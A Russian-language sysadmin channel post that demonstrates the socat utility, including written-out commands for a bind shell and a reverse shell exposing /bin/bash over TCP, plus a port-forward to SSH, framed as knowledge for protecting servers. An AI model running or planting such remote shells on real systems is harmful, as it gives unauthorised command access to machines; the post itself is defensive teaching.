Обложка канала

ServerAdmin.ru

12437 @srv_admin

Авторская информация о системном администрировании.

ServerAdmin.ru

3 года назад
Открыть в
На прошлой неделе я рассказывал про некоторые возможности утилиты socat. Сегодня хочу продолжить и показать ещё несколько вариантов использования. Например, вы можете открыть прямой доступ к shell через socat. Данный метод обычно используют злоумышленники, чтобы получить несанкционированный удалённый доступ к shell. Запускаем на сервере: # socat -d -d TCP4-LISTEN:222,reuseaddr,fork EXEC:/bin/bash Подключаемся на клиенте к серверу: # socat - TCP4:172.23.92.42:222 Теперь вы можете с клиента через ввод в консоли отправлять команды напрямую в оболочку bash на сервере. Аналогично выполняется так называемый обратный shell. Это когда вы на клиенте запускаете socat в режиме прослушивания: # socat -d -d TCP4-LISTEN:222 STDOUT А на сервере подключаетесь к клиенту: # socat TCP4:172.23.88.95:4443 EXEC:/bin/bash Теперь всё, что вводится с консоли клиента, исполняется на сервере в bash. Подобная схема актуальна, когда на сервере входящие подключения не разрешены, а исходящие открыты. Подобный метод наглядно показывает, что и исходящие подключения на сервере нужно контролировать и ограничивать. Скажу честно, я редко это делаю, так как это хлопотное дело и не всегда оправдано с точки зрения затраченных усилий и результата. Если у вас заблокирован входящий порт SSH, можете временно запустить socat и перенаправить все запросы с открытого порта на локальный порт 22: # socat TCP4-LISTEN:222,reuseaddr,fork TCP4:172.23.92.42:22 Подключаемся клиентом: # ssh -p 222 [email protected] Попадаем на SSH сервер. Подобное решение быстрее и удобнее, чем настройка переадресации в iptables или изменение порта в ssh сервере. Для разовых подключений это самый простой и быстрый вариант, который не требует никаких дополнительных настроек. Подобные вещи полезно знать не только чтобы использовать самому, но и для того, чтобы защищать свои сервера от похожих трюков. #linux #terminal